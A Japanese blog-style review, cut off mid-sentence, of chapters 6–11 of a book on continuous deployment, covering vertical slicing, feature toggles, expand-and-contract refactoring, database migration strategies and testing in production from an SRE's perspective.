6-1は、これら二つのアプローチの違いを視覚的に示しており、非常に印象的でした。この図を見て、私は以前携わったプロジェクトでの経験を思い出しました。そのプロジェクトでは、最初は水平スライシングを採用していましたが、開発の後半になって統合の問題や予期せぬバグに悩まされました。その後、垂直スライシングに切り替えたところ、開発のペースが大幅に向上し、より頻繁にユーザーフィードバックを得られるようになりました。著者が指摘するように、垂直スライシングは継続的デプロイメントと非常に相性が良いです。各スライスが独立して価値を提供できるため、小さな単位で頻繁にデプロイすることが可能になります。これは、マイクロサービスアーキテクチャやクラウドネイティブ開発の原則とも合致しており、現代のソフトウェア開発のベストプラクティスと言えるでしょう。効果的な垂直スライシング効果的な垂直スライシングを行うための具体的な手法として、MVPの考え方やINVESTの原則を紹介しています。特に印象的だったのは、各スライスをできるだけ薄くすることの重要性です。著者は「理想的なユーザーストーリーの実装フェーズは数時間から数日で測定される」と述べていますが、これは私の経験とも一致します。Figure 6-3. Granularity of vertical slicing より引用Figure 6-3の垂直スライシングの粒度を示す図は、非常に示唆に富んでいます。私のチームでも、以前は右側の「粗い垂直スライシング」に近い状態でしたが、徐々に左側の「細かい垂直スライシング」に移行していきました。この移行により、デプロイの頻度が大幅に向上し、ユーザーフィードバックのサイクルも短縮されました。しかし、著者の主張に若干の疑問も感じました。極端に薄いスライスは、時として全体的な一貫性や統合性を損なう可能性があります。私の経験では、適度な厚さのスライスを維持しつつ、各スライスが明確な価値を提供できるようにバランスを取ることが重要でした。Groceroo社の例架空の企業Grocerooを例に挙げ、「Last-Minute Items」機能の実装を通じて垂直スライシングの実践を具体的に示しています。この例は、理論を実践に落とし込む上で非常に有用です。特に印象的だったのは、著者が水平スライシングと垂直スライシングのアプローチを比較している点です。水平スライシングでは、データベース層、バックエンド層、フロントエンド層と順に実装していくアプローチが示されていますが、これらの問題点が明確に指摘されています。特に、各層の変更が本番環境で検証できないという点は、継続的デプロイメントの観点から見て大きな課題です。一方、垂直スライシングのアプローチでは、「シンプルなカルーセルの追加」「カルーセルの設定可能化」「ワンクリックでカートに追加」「異なる数量でカートに追加」という4つのユーザーストーリーに分割されています。各ストーリーが独立して価値を提供でき、かつ継続的にデプロイ可能な形になっているのが印象的です。この例を通じて、垂直スライシングが以下のような利点を持つことが明確になりました:1. 早期のユーザーフィードバック:最小限の機能から始めることで、早い段階でユーザーの反応を確認できます。2. 柔軟な優先順位付け:各スライスが独立しているため、ビジネスニーズに応じて優先順位を変更しやすくなります。3. リスクの分散:小さな単位でデプロイすることで、各変更のリスクが低減されます。4. 継続的な価値提供:各スライスが独立して価値を提供するため、開発の途中段階でも機能をリリースできます。これらの利点は、特にクラウドネイティブ環境やマイクロサービスアーキテクチャにおいて顕著です。例えば、私が以前携わったマイクロサービスプロジェクトでは、各サービスを独立して開発・デプロイできることが大きな強みとなりました。垂直スライシングのアプローチにより、各サービスの機能を小さな単位で迅速にリリースし、ユーザーフィードバックを基に迅速に改善することが可能になりました。SREの視点から見た垂直スライシング垂直スライシングは運用性、可観測性、信頼性に大きな影響を与えます。まず、運用性の面では、小さな単位でのデプロイが可能になることで、問題発生時の影響範囲を限定できます。また、ロールバックも容易になるため、システムの安定性が向上します。可観測性の面では、各スライスが独立しているため、特定の機能や変更の影響を明確に観察できます。これにより、パフォーマンスの問題や異常の検出が容易になります。信頼性に関しては、小さな変更を頻繁に行うことで、各変更のリスクが低減されます。また、問題が発生した場合も、原因の特定と修正が容易になります。私のSREとしての経験からも、垂直スライシングは運用の観点から非常に有効です。例えば、あるプロジェクトでは、大規模な機能リリースが度々システム全体に影響を与え、深夜の緊急対応を余儀なくされることがありました。垂直スライシングを導入した後は、各変更の影響範囲が限定的になり、問題が発生しても迅速に対応できるようになりました。結論第6章「Slicing Upcoming Work」は、継続的デプロイメントを成功させるための核心的な概念である作業のスライシングについて、深い洞察を提供しています。垂直スライシングの重要性を強調し、その実践方法を具体的な例を通じて示しています。この章から学んだ最も重要な教訓は、作業の分割方法が開発プロセス全体に大きな影響を与えるということです。適切な垂直スライシングを行うことで、継続的デプロイメントの利点を最大限に引き出し、より効率的で価値中心の開発サイクルを実現できます。しかし、垂直スライシングの実践には課題もあります。過度に細かいスライシングは、時として全体的な一貫性を損なう可能性があります。また、組織の文化や既存のプロセスとの整合性を取ることも重要です。私の経験では、垂直スライシングへの移行は段階的に行うのが効果的でした。小規模なプロジェクトや新規機能の開発から始め、徐々に組織全体に広げていくアプローチが、最も成功率が高いように思います。今後の実務に活かすとすれば、いくつかのポイントに注目したいと考えています。MVPの考え方を徹底し、各機能の本質的な価値に焦点を当てることが重要です。また、INVESTの原則を用いて各ユーザーストーリーの品質を評価し、フィーチャーフラグを活用してデプロイとリリースを分離することも有効です。継続的なフィードバックループを確立し、各スライスの価値を検証することも忘れてはいけません。さらに、チーム全体で垂直スライシングの重要性を共有し、文化として根付かせることが長期的な成功につながります。最後に、垂直スライシングは単なる技術的な手法ではなく、価値駆動型の開発を実現するための思考法であることを強調したいと思います。この考え方を組織全体で共有し、継続的に改善していくことが、継続的デプロイメントの実現につながるのではないでしょうか。Chapter 7. Building for Production第7章「Building for Production」は、継続的デプロイメントを実践する上で不可欠な、本番環境を見据えた開発アプローチについて深く掘り下げています。単に機能要件を満たすだけでなく、デプロイ可能性、テスト可能性、観測可能性、セキュリティ、パフォーマンスといった非機能要件(Cross-Functional Requirements、CFR)にも注目することの重要性を強調しています。この章を通じて、開発の初期段階からCFRを考慮に入れることが、安全で効果的な継続的デプロイメントの実現にどのようにつながるかが明確に示されています。CFRの重要性と垂直スライシングとの関係著者はまず、CFRが従来のユーザーストーリーの垂直スライシングに追加される「層」として捉えられることを説明しています。Figure 7-2は、この考え方を視覚的に表現しており、非常に印象的でした。この図を見て、私は以前携わったプロジェクトでの経験を思い出しました。Figure 7-2. All the layers of a feature increment より引用当時、我々は機能要件にのみ焦点を当てたユーザーストーリーを作成していましたが、本番環境へのデプロイ時に多くの問題に直面しました。特に、セキュリティやパフォーマンスの問題が頻発し、それらの対応に多大な時間を費やしました。この経験から、CFRを開発の初期段階から考慮することの重要性を痛感しました。著者の主張通り、CFRを早期に検討することで、後になって大規模な修正や再設計を行う必要性を減らすことができます。これは特に、マイクロサービスアーキテクチャやクラウドネイティブ環境において重要です。例えば、観測可能性を後付けで実装しようとすると、多くのサービスに変更を加える必要が生じ、非常に手間がかかります。このCFRの重要性を理解する上で、視覚化の役割も見逃せません。例えば、Zennに投稿された『GitHub Actionsのワークフローを可視化するactions-timelineを作った』というブログ記事は、ワークフローの可視化の重要性を示しています。zenn.devデプロイ可能性要件デプロイ可能性要件として、フィーチャートグル、Expand and Contractパターン、バージョン管理ブランチでの隠蔽など、様々な戦略を紹介しています。これらの戦略は、継続的デプロイメントを安全に行うための重要なツールです。私の経験では、フィーチャートグルの活用が特に有効でした。あるプロジェクトでは、新機能の段階的なロールアウトにフィーチャートグルを使用し、問題が発生した際に即座に機能をオフにすることで、システム全体への影響を最小限に抑えることができました。一方で、著者が指摘するように、フィーチャートグルの乱用は新たな問題を引き起こす可能性があります。私のチームでも、過剰なフィーチャートグルの使用によってコードの複雑性が増し、メンテナンスが困難になった経験があります。そのため、フィーチャートグルの使用は慎重に検討し、適切な粒度で導入する必要があります。テスト可能性要件テスト可能性要件について、高レベルの自動化テストと手動の探索的テストの両方の重要性を強調しています。これは、SREの観点からも非常に重要なポイントです。私のチームでは、継続的デプロイメントの導入に伴い、テスト戦略を大幅に見直しました。特に、テストピラミッドの考え方を採用し、ユニットテスト、統合テスト、エンドツーエンドテストのバランスを適切に保つことで、テストの実行時間を短縮しつつ、高い信頼性を確保することができました。また、著者が提案するように、QA機能をチームに完全に組み込むことで、テストの質と効率が大幅に向上しました。QAエンジニアが開発の初期段階から関与することで、潜在的な問題を早期に発見し、修正コストを削減することができました。観測可能性要件観測可能性に関する著者の主張は、SREの実践と深く結びついています。ログ、メトリクス、ダッシュボード、アラートの維持と更新の重要性は、継続的デプロイメントの成功に不可欠です。私のチームでは、観測可能性を「アフターソート」ではなく、開発プロセスの不可欠な部分として位置づけました。具体的には、各ユーザーストーリーに観測可能性に関する要件を含め、新機能の開発と同時にログやメトリクスの実装を行うようにしました。特に印象的だったのは、著者が「ダッシュボードやアラートの更新を\\"完了\\"の定義に含める」ことを推奨している点です。これにより、観測可能性が後回しにされることなく、常に最新の状態に保たれるようになりました。セキュリティ要件とパフォーマンス要件セキュリティとパフォーマンスの要件も、開発の初期段階から考慮すべきだと主張しています。これは、継続的デプロイメントの環境下では特に重要です。セキュリティに関しては、新しいユーザー入力、データストレージ、依存関係、インフラストラクチャの変更など、様々な側面からの検討が必要です。私のチームでは、セキュリティスキャンを継続的インテグレーションパイプラインに組み込むことで、早期にセキュリティ問題を発見し、修正することができました。パフォーマンスについては、新しいネットワークリクエスト、データサイズ、永続化層への影響など、多角的な視点からの考察が重要です。例えば、あるプロジェクトでは、新機能の追加に伴うデータベースクエリの最適化を事前に検討することで、本番環境での予期せぬパフォーマンス低下を防ぐことができました。実践的なユーザーストーリーテンプレート著者が提案するユーザーストーリーテンプレートは、CFRを包括的に考慮するための実用的なツールです。このテンプレートを使用することで、機能要件だけでなく、非機能要件も含めた総合的な検討が可能になります。私のチームでも、似たようなテンプレートを採用しましたが、それによってバックログリファインメントの質が大幅に向上しました。特に、デプロイ可能性、テスト可能性、観測可能性の要件を明示的に記載することで、開発者が本番環境を常に意識しながら作業を進めるようになりました。Groceroo社の例を通じた実践的な適用架空の企業Grocerooを例に挙げ、CFRを考慮したユーザーストーリーの作成プロセスを具体的に示しています。この例は、理論を実践に落とし込む上で非常に有用です。特に印象的だったのは、各ユーザーストーリーに対して、デプロイ可能性、テスト可能性、観測可能性、セキュリティ、パフォーマンスの各側面からの考察が行われている点です。これにより、開発者はより包括的な視点を持って作業を進めることができます。例えば、「Add Simple Carousel」のユーザーストーリーでは、フィーチャートグルの使用、テスト戦略の検討、新しいメトリクスの導入、セキュリティ面での考慮事項、パフォーマンスへの影響など、多角的な視点からの検討が行われています。これは、実際のプロジェクトでも非常に参考になる内容です。結論第7章「Building for Production」は、継続的デプロイメントを成功させるために、開発の初期段階からCFRを考慮することの重要性を明確に示しています。著者が提案するアプローチは、単なる技術的な実践ではなく、開発プロセス全体を変革する可能性を秘めています。この章から学んだ最も重要な教訓は、CFRを後付けではなく、開発サイクルに組み込むことの重要性です。これにより、本番環境での問題を事前に防ぎ、より安定的で信頼性の高いシステムを構築することができます。私の経験からも、CFRを早期に検討することで多くの利点がありました。セキュリティやパフォーマンスの問題を開発の初期段階で発見し、修正することができ、結果としてリリース後のトラブルが大幅に減少しました。また、観測可能性を最初から考慮することで、本番環境での問題の診断と解決が容易になりました。一方で、著者の提案するアプローチには課題もあります。すべてのユーザーストーリーに対して包括的なCFRの検討を行うことは、時間とリソースを要する作業です。小規模なチームや短期的なプロジェクトでは、このアプローチを完全に実践することが難しい場合もあるでしょう。そのため、各組織やプロジェクトの状況に応じて、CFRの検討レベルを適切に調整することが重要です。重要度の高い機能や大規模な変更に対しては詳細なCFRの検討を行い、小規模な修正に対してはより軽量なアプローチを採用するなど、柔軟な対応が必要です。この章の内容は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。CFRを考慮することで、システムの保守性、スケーラビリティ、セキュリティが向上し、結果として顧客満足度の向上とビジネス価値の創出につながります。今後の実務に活かすとすれば、いくつかのポイントに注目したいと考えています。ユーザーストーリーテンプレートにCFRを明示的に含め、バックログリファインメントにQAやSRE担当者を積極的に参加させることが重要です。また、フィーチャートグルやExpand and Contractパターンを適切に活用し、安全なデプロイを実現することも有効です。観測可能性を開発プロセスの中核に位置づけ、常に最新の状態を維持すること、そしてセキュリティとパフォーマンスの考慮を開発の初期段階から行い、事後的な問題を最小限に抑えることも重要です。これらの実践を通じて、より安定的で信頼性の高い継続的デプロイメントを実現し、結果として高品質なソフトウェアを迅速かつ安全にユーザーに届けることができるはずです。Part III. During DevelopmentChapter 8. Adding New Features第8章「Adding New Features」は、継続的デプロイメントの環境下で新機能を追加する具体的なプロセスと戦略について深く掘り下げています。実際のユーザーストーリーを例に挙げながら、フィーチャートグルを活用した段階的な開発とデプロイメントの方法を詳細に解説しています。この章を通じて、継続的デプロイメントが単なる技術的な実践ではなく、開発プロセス全体を変革する可能性を持つことが明確に示されています。継続的デプロイメントにおける新機能開発の基本戦略新機能開発の基本戦略として、現状(現在のコードベース)と目標状態(実装完了後のコードベース)を明確に定義し、その間を小さな増分で埋めていく方法を提案しています。このアウトサイドインアプローチは、特に印象的でした。私の経験からも、このアプローチは非常に効果的です。以前、大規模なEコマースプラットフォームで新機能を開発した際、最初はモノリシックな実装を計画していました。しかし、著者の提案するアプローチを採用することで、開発の初期段階から実際の本番環境でフィードバックを得ることができ、結果として顧客のニーズにより適した機能を迅速に提供することができました。特に重要だと感じたのは、フィーチャートグルの活用です。著者が強調するように、フィーチャートグルは開発中の機能を隠蔽し、安全に本番環境にデプロイするための強力なツールです。しかし、その使用には注意も必要です。私のチームでは、過剰なフィーチャートグルの使用によってコードの複雑性が増し、メンテナンスが困難になった経験があります。そのため、フィーチャートグルの使用は慎重に検討し、適切な粒度で導入する必要があります。Groceroo社の例を通じた実践的アプローチ架空の企業Grocerooを例に挙げ、「Last-Minute Items」機能の実装プロセスを段階的に説明しています。この例は、理論を実践に落とし込む上で非常に有用です。Figure 8-1. A mockup of the “last-minute items” feature より引用Figure 8-1では、「Last-Minute Items」機能のモックアップが示されており、ユーザーが最後の買い物を促すカルーセルが表示されています。この図は、実装の目標状態を視覚的に理解するのに役立ちます。特に印象的だったのは、各デプロイメントステップの詳細な説明です。フロントエンド、バックエンド、データベース層それぞれの変更を小さな単位で行い、各ステップで本番環境での検証を行う方法を示しています。Figure 8-5. The order of implementation from providers to consumers より引用Figure 8-5は、実装の順序を提供者からコンシューマーへと示しており、段階的な実装のアプローチを視覚化しています。一方、Figure 8-6は、コンシューマーから提供者への実装順序を示しており、アウトサイドインアプローチの利点を強調しています。Figure 8-6. The order of implementation from consumers to providers より引用この方法は、私が以前携わったマイクロサービスアーキテクチャのプロジェクトでも非常に効果的でした。各サービスを独立して開発・デプロイできることが大きな強みとなり、新機能の段階的なロールアウトが可能になりました。例えば、新しい支払い方法の導入時に、まず基本的なUIをデプロイし、次にバックエンドロジック、最後にデータベーススキーマの変更を行うことで、リスクを最小限に抑えつつ迅速に機能を提供することができました。一方で、この段階的なアプローチには課題もあります。特に、フィーチャートグルの管理が複雑になる可能性があります。多数のフィーチャートグルが存在する場合、それらの状態管理や清掃が煩雑になる可能性があります。この問題に対処するため、私のチームではフィーチャートグル管理システムを導入し、各トグルのライフサイクルを明確に定義しました。これにより、不要になったトグルの迅速な削除が可能になり、コードの複雑性を抑制することができました。Figure 8-9. The finished carousel UI with test products より引用Figure 8-9は、完成したカルーセルUIをテスト商品とともに示しており、段階的な実装の最終結果を視覚化しています。この図は、開発プロセス全体を通じて達成された進歩を示しています。結論この章から学んだ最も重要な教訓は、変更を小さな単位で行い、早期かつ頻繁にフィードバックを得ることの重要性です。これにより、リスクを最小限に抑えつつ、顧客のニーズにより適した機能を迅速に提供することが可能になります。著者のアプローチは非常に強力ですが、チームの状況や開発するシステムの特性に応じて適切にカスタマイズする必要があります。継続的デプロイメントの原則を理解し、それをプロジェクトの文脈に合わせて適用することが、成功への鍵となるでしょう。今後の実務においては、フィーチャートグルの戦略的な使用と管理、アウトサイドインアプローチによる段階的な実装、各デプロイメント段階での詳細な監視と検証、そしてチーム全体でのこのアプローチの理解と実践が重要になると考えています。これらの実践を通じて、より安定的で信頼性の高い継続的デプロイメントを実現し、結果として高品質なソフトウェアを迅速かつ安全にユーザーに届けることができるはずです。承知しました。SREの観点からの考察を全体に散らして、内容を再構成します。Chapter 9. Refactoring Live Features第9章「Refactoring Live Features」は、継続的デプロイメント環境下で既存の機能をリファクタリングする方法に焦点を当てています。ライブシステムのリファクタリングが単なるコードの整理ではなく、ビジネス継続性を維持しながら、システムの進化を実現する重要なプロセスであることを強調しています。この章を通じて、著者は継続的デプロイメントがリファクタリングにもたらす課題と、それを克服するための具体的な戦略を明確に示しています。リファクタリングの重要性と課題著者はまず、ライブシステムのリファクタリングの重要性と、それに伴う課題について説明しています。継続的デプロイメント環境では、システムは常に稼働しており、ユーザーに影響を与えることなくリファクタリングを行う必要があります。これは、システムを止めることなく船の修理をするようなものだと言えます。私の経験では、この課題は特にマイクロサービスアーキテクチャにおいて顕著です。例えば、あるEコマースプラットフォームで、決済システムのリファクタリングを行った際、サービス間の依存関係を慎重に管理しながら、段階的に変更を加えていく必要がありました。一度に大きな変更を加えるのではなく、小さな変更を積み重ねることで、リスクを最小限に抑えつつ、システムを進化させることができました。著者が強調しているのは、バックワードコンパティビリティを維持しながら、小さな変更を継続的にデプロイすることの重要性です。これは、SREの観点からも非常に重要なポイントです。システムの安定性を維持しつつ、パフォーマンスや保守性を向上させるためには、この原則を徹底する必要があります。運用性の面では、このアプローチを採用することで、リファクタリング中のシステムの安定性が向上します。各段階でのロールバックが容易になり、問題が発生した場合の影響を最小限に抑えることができます。また、可観測性の観点からは、段階的なアプローチにより、各変更の影響を明確に観察することができます。これは、問題の早期発見と迅速な対応を可能にします。Expand and Contractパターンリファクタリングを安全に行うための主要な戦略として、Expand and Contractパターン(別名Parallel Change)を紹介しています。このパターンは、新旧の実装を並行して維持し、段階的に移行していくアプローチです。Figure 9-3. A high-level view of the expand and contract pattern for replacing old product IDs より引用Figure 9-3は、このパターンを視覚的に表現しており、非常に印象的でした。このアプローチは、特に複雑なシステムのリファクタリングで効果を発揮します。例えば、私が以前携わった金融システムのデータモデル変更では、このパターンを採用することで、数ヶ月にわたるマイグレーションプロセスを、ダウンタイムなしで実現することができました。Expand and Contractパターンの本質は、変更を段階的に行い、各段階で安全性を確保することです。これは、継続的デプロイメントの原則と完全に一致しています。SREの観点からも、このアプローチは監視とロールバックの容易さを保証するため、非常に有効です。信頼性に関しては、小さな変更を頻繁に行うことで、各変更のリスクが低減されます。また、バックワードコンパティビリティを維持することで、システム全体の安定性が確保されます。例えば、新旧の実装を並行して運用する際、両者のパフォーマンスを比較監視することで、潜在的な問題を事前に検出できます。複数層のプロバイダとコンシューマ複数層のプロバイダとコンシューマが存在する複雑なシステムでのリファクタリング戦略について詳しく説明しています。特に、内側から外側へのアプローチ(Inside-Out)を提案しており、これは非常に興味深い視点です。Figure 9-4. The expand and contract pattern on a multilayered application より引用Figure 9-4は、このアプローチを視覚的に表現しており、複雑なシステムでのリファクタリングの全体像を把握するのに役立ちます。私の経験では、このアプローチは特にマイクロサービスアーキテクチャで有効です。例えば、あるプロジェクトでAPIのバージョンアップを行った際、データベース層から始めて、バックエンドサービス、そしてフロントエンドへと段階的に変更を加えていきました。この内側から外側へのアプローチにより、各層での変更の影響を制御し、安全にリファクタリングを進めることができました。しかし、著者の主張に若干の疑問も感じました。実際のプロジェクトでは、完全に内側から外側へと進むことが難しい場合もあります。時には、ユーザー体験の改善を先行させるため、外側から内側へのアプローチが必要になることもあります。理想的には、内側から外側へのアプローチと外側から内側へのアプローチのバランスを取ることが重要だと考えています。Groceroo社の例を通じた実践的アプローチ架空の企業Grocerooを例に挙げ、具体的なリファクタリングのプロセスを段階的に説明しています。特に、製品IDシステムの変更という複雑なリファクタリングを通じて、Expand and Contractパターンの実践を示しています。この例は、理論を実践に落とし込む上で非常に有用です。例えば、データベーススキーマの変更、APIの更新、フロントエンドの修正など、各層での変更が詳細に説明されています。私の経験から、このような段階的なアプローチは、特に大規模なシステム変更において不可欠です。しかし、実際のプロジェクトではさらに複雑な状況に直面することがあります。例えば、レガシーシステムとの統合や、複数の異なるクライアントアプリケーションのサポートなど、追加の要素を考慮する必要があります。そのため、著者のアプローチを基礎としつつ、プロジェクトの具体的な状況に応じてカスタマイズすることが重要です。私の経験では、このアプローチを採用することで、大規模なリファクタリングプロジェクトでも高い成功率を達成できました。例えば、あるプロジェクトでデータベースの移行を行った際、段階的なアプローチと詳細な監視を組み合わせることで、99.99%の可用性を維持しながら、移行を完了することができました。結論第9章「Refactoring Live Features」は、継続的デプロイメント環境下でのリファクタリングの重要性と、その実践方法について深い洞察を提供しています。著者が提案するExpand and Contractパターンと内側から外側へのアプローチは、複雑なシステムのリファクタリングを安全に行うための強力なフレームワークとなります。この章から学んだ最も重要な教訓は、リファクタリングを小さな、管理可能な段階に分割し、各段階でシステムの安定性と後方互換性を維持することの重要性です。これにより、リスクを最小限に抑えつつ、システムを継続的に改善することが可能になります。しかし、著者のアプローチをそのまま適用するだけでは不十分な場合もあります。実際のプロジェクトでは、レガシーシステムとの統合、複数のクライアントアプリケーションのサポート、厳格な規制要件など、追加の複雑性に直面することがあります。そのため、著者のアプローチを基礎としつつ、各プロジェクトの具体的な状況に応じてカスタマイズすることが重要です。マイクロサービスアーキテクチャにおいては、サービス間の依存関係管理がさらに重要になります。APIの変更を行う際には、コンシューマードリブンコントラクトテスト(CDCT)を導入し、各サービスの互換性を継続的に検証することで、安全なリファクタリングを実現できます。今後の実務に活かすには、いくつかの重要なポイントに注目する必要があります。リファクタリングの各段階で明確な目標を設定し、その達成を測定可能にすることが重要です。また、自動化されたテストスイートを充実させ、各変更の影響を迅速に検証することも不可欠です。詳細な監視とアラートを設定し、問題の早期発見と迅速な対応を可能にすることも重要です。さらに、チーム全体でリファクタリングの重要性と方法論を共有し、継続的な改善文化を醸成すること、そして技術的負債の管理を戦略的に行い、計画的にリファクタリングを実施することも重要です。この章の内容は、現代のソフトウェア開発、特にマイクロサービスアーキテクチャやクラウドネイティブ環境において非常に重要です。継続的デプロイメントの原則に基づいたリファクタリングアプローチを採用することで、システムの保守性、スケーラビリティ、セキュリティが向上し、結果として顧客満足度の向上とビジネス価値の創出につながります。今後のプロジェクトでは、この章で学んだ原則と手法を基に、さらに洗練されたリファクタリング戦略を構築していくことが重要です。複雑化するシステムに対応しつつ、継続的な改善を実現することは、現代のソフトウェアエンジニアリングにおける重要な課題で、この章の内容はその挑戦に立ち向かうための貴重な指針となるでしょう。リファクタリング 既存のコードを安全に改善する(第2版)作者:MartinFowlerオーム社AmazonChapter 10. Data and Data Loss第10章「Data and Data Loss」は、継続的デプロイメント環境下でのデータベースリファクタリングと、それに伴うデータ損失のリスクについて深く掘り下げています。データベースの変更が単なるスキーマの修正ではなく、システム全体の整合性と安定性に大きな影響を与える重要な操作であることを強調しています。この章を通じて、著者はデータベースの変更を安全に行うための具体的な戦略と、それらの戦略が継続的デプロイメントの文脈でどのように適用されるかを明確に示しています。データベースリファクタリングの課題著者はまず、データベースリファクタリングが継続的デプロイメント環境下で直面する主要な課題について説明しています。特に印象的だったのは、データベースの変更とアプリケーションコードの変更を同時に行うことの危険性です。Figure 10-1. Incompatibility window during simultaneous changes より引用Figure 10-1は、同時変更によるインコンパティビリティのウィンドウを視覚的に示しており、非常に印象的でした。この図を見て、以前携わったプロジェクトでの苦い経験を思い出しました。大規模なECサイトのリニューアルプロジェクトで、データベーススキーマの変更とアプリケーションコードの更新を同時にデプロイしたことがありました。結果として、デプロイ直後の数分間、一部のユーザーがエラーページを見ることになり、売上にも影響が出てしまいました。この経験から、データベースの変更は必ず独立したデプロイメントとして扱うことの重要性を痛感しました。著者の主張通り、データベースの変更はアプリケーションコードの変更とは別のライフサイクルで管理し、バックワードコンパティビリティを常に維持する必要があります。Expand and Contractパターンの適用著者は次に、Expand and Contractパターンをデータベースリファクタリングに適用する方法について詳しく説明しています。このパターンは、新旧のスキーマを一時的に共存させることで、安全な移行を実現する戦略です。Figure 10-2. Incompatibility window during simple expand and contract より引用しかし、著者が指摘するように、単純なExpand and Contractの適用では不十分な場合があります。特に、拡張フェーズと収縮フェーズの間にデータの不整合が生じる可能性がある点は重要です。Figure 10-2は、この問題を明確に示しています。私の経験でも、このパターンを適用する際には注意が必要でした。あるマイクロサービスアーキテクチャのプロジェクトで、ユーザープロファイルのスキーマを変更する際に、単純なExpand and Contractを適用したことがありました。しかし、移行期間中に新しいユーザー登録が行われ、新旧のスキーマに不整合が生じてしまいました。この経験から、データの整合性を維持するためには、アプリケーションレベルでの追加の対策が必要だと学びました。データベーストリガーとダブルライト戦略データベーストリガーとダブルライト戦略という2つの解決策を提案しています。特にダブルライト戦略は、実践的で効果的なアプローチだと感じました。この戦略を実際のプロジェクトに適用した経験があります。大規模なSaaSプラットフォームで、顧客データのスキーマを変更する必要がありました。我々はダブルライト戦略を採用し、新旧両方のカラムにデータを書き込むようにアプリケーションを修正しました。これにより、移行期間中もデータの整合性を維持しつつ、安全にスキーマを変更することができました。しかし、この戦略にも課題はあります。特に、パフォーマンスへの影響とコードの複雑性の増加は無視できません。我々のプロジェクトでも、ダブルライトによってデータベースの書き込み負荷が増加し、一時的にレイテンシが悪化しました。これに対処するため、書き込みのバッチ処理やキャッシュの最適化など、追加の対策が必要でした。ダブルリード戦略著者が提案するもう一つの戦略であるダブルリードも、実践的なアプローチです。この戦略は、読み取り操作で新旧両方のカラムをチェックすることで、移行期間中のデータアクセスの安全性を確保します。私が以前携わった金融系システムのマイグレーションプロジェクトでは、このダブルリード戦略を採用しました。口座情報のスキーマを変更する必要がありましたが、システムの性質上、一瞬たりともデータにアクセスできない状況は許されませんでした。ダブルリード戦略により、新旧のデータを並行して読み取ることで、移行中も確実にデータにアクセスできる状態を維持できました。ただし、この戦略を採用する際は、パフォーマンスへの影響を慎重に検討する必要があります。我々のケースでは、読み取り操作が増加することによるデータベース負荷の上昇が懸念されました。これに対処するため、キャッシュ層の強化やリードレプリカの追加など、インフラストラクチャレベルでの対策も並行して行いました。NoSQLデータベースへの適用著者は最後に、これらの戦略がNoSQLデータベースにも適用可能であることを説明しています。この点は特に重要だと感じました。現代のシステム開発では、RDBMSとNoSQLを併用するケースが増えていますが、NoSQLデータベースのスキーマレスな特性がリファクタリングを簡単にするわけではありません。私自身、MongoDBを使用したプロジェクトで同様の課題に直面しました。ドキュメントの構造を変更する必要がありましたが、既存のデータも大量に存在していました。我々は「マイグレーションオンリード」という戦略を採用し、読み取り時に古い形式のドキュメントを新しい形式に変換するロジックを実装しました。同時に、新しい書き込みは全て新形式で行うようにしました。しかし、この方法にも課題がありました。特に、読み取り時の変換処理によるパフォーマンスへの影響と、アプリケーションコードの複雑化は無視できませんでした。長期的には、バックグラウンドでの一括マイグレーションジョブを実行し、徐々に全てのデータを新形式に移行していく戦略を採用しました。結論第10章「Data and Data Loss」は、継続的デプロイメント環境下でのデータベースリファクタリングの複雑さと、それを安全に行うための戦略について深い洞察を提供しています。著者が提案する手法は、理論的に優れているだけでなく、実際のプロジェクトでも有効であることを、私自身の経験からも確認できました。特に重要だと感じたのは、データベースの変更を独立したデプロイメントとして扱うこと、バックワードコンパティビリティを常に維持すること、そしてデータの整合性を確保するための追加戦略(ダブルライトやダブルリードなど)を適用することです。これらの原則は、システムの安定性と信頼性を維持しつつ、継続的な改善を可能にする基盤となります。しかし、これらの戦略を採用する際は、パフォーマンスへの影響やコードの複雑性の増加といった副作用にも注意を払う必要があります。実際のプロジェクトでは、これらのトレードオフを慎重に評価し、適切な対策を講じることが重要です。今後のプロジェクトでは、この章で学んだ原則と戦略を基に、さらに洗練されたデータベースリファクタリングのアプローチを構築していきたいと考えています。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での適用方法、そしてNoSQLデータベースとの併用シナリオについて、さらに深く探求していく必要があるでしょう。継続的デプロイメントの文脈でデータベースリファクタリングを安全に行うことは、現代のソフトウェア開発における重要な課題の一つです。この章の内容は、その課題に立ち向かうための貴重な指針となるでしょう。同時に、各プロジェクトの特性や要件に応じて、これらの戦略をカスタマイズし、最適化していくことも忘れてはいけません。データの整合性と可用性を維持しつつ、システムを進化させていくことが、我々エンジニアの重要な責務なのです。Part IV. After DevelopmentChapter 11. Testing in Production第11章「Testing in Production」は、継続的デプロイメント環境下での本番環境でのテストの重要性と実践方法について深く掘り下げています。本番環境でのテストが単なるリスクではなく、むしろソフトウェアの品質と信頼性を大幅に向上させる強力なツールであることを強調しています。この章を通じて、著者は本番環境でのテストの利点、具体的な実施方法、そしてそれが開発プロセス全体にどのような影響を与えるかを明確に示しています。本番環境でのテストの重要性著者はまず、本番環境でのテストが他の環境でのテストよりも優れている理由を詳細に説明しています。特に印象的だったのは、データ量の正確性、データ形状の正確性、リアルなリクエストパターン、そして実際のインフラストラクチャ構成などの点で、本番環境が圧倒的に優位であるという指摘です。Figure 11-2. The current state of the Groceroo checkout page より引用Figure 11-2は、本番環境と他の環境の違いを視覚的に示しており、非常に印象的でした。この図を見て、以前携わったプロジェクトでの経験を思い出しました。大規模なマイクロサービスアーキテクチャを採用したシステムで、ステージング環境では完璧に動作していた新機能が、本番環境でパフォーマンス問題を引き起こしたことがありました。原因は、本番環境特有の複雑なデータ構造と高負荷状態でした。この経験から、本番環境でのテストの重要性を痛感しました。著者の主張の中で特に共感したのは、本番環境でのテストが単なるリスクテイキングではなく、むしろリスク軽減の手段になるという点です。確かに、本番環境で問題を早期に発見し、小規模な影響で修正できることは、大規模なリリース後の障害を防ぐ上で非常に有効です。しかし、著者の主張に若干の疑問も感じました。本番環境でのテストには確かに多くの利点がありますが、一方で慎重に管理されたステージング環境の価値も無視できません。特に、重大な障害が許されない金融系システムなどでは、段階的なアプローチが必要だと考えています。フィーチャートグルの活用著者は次に、本番環境でのテストを安全に行うための具体的な方法として、フィーチャートグルの活用について詳しく説明しています。クエリパラメータ、リクエストヘッダ、クッキー、ユーザー識別子などの様々な方法が紹介されています。私の経験では、フィーチャートグルの活用は本番環境でのテストを劇的に改善します。以前携わったプロジェクトでは、フィーチャートグルを導入することで、新機能のA/Bテストや段階的なロールアウトが可能になりました。特に、マイクロサービスアーキテク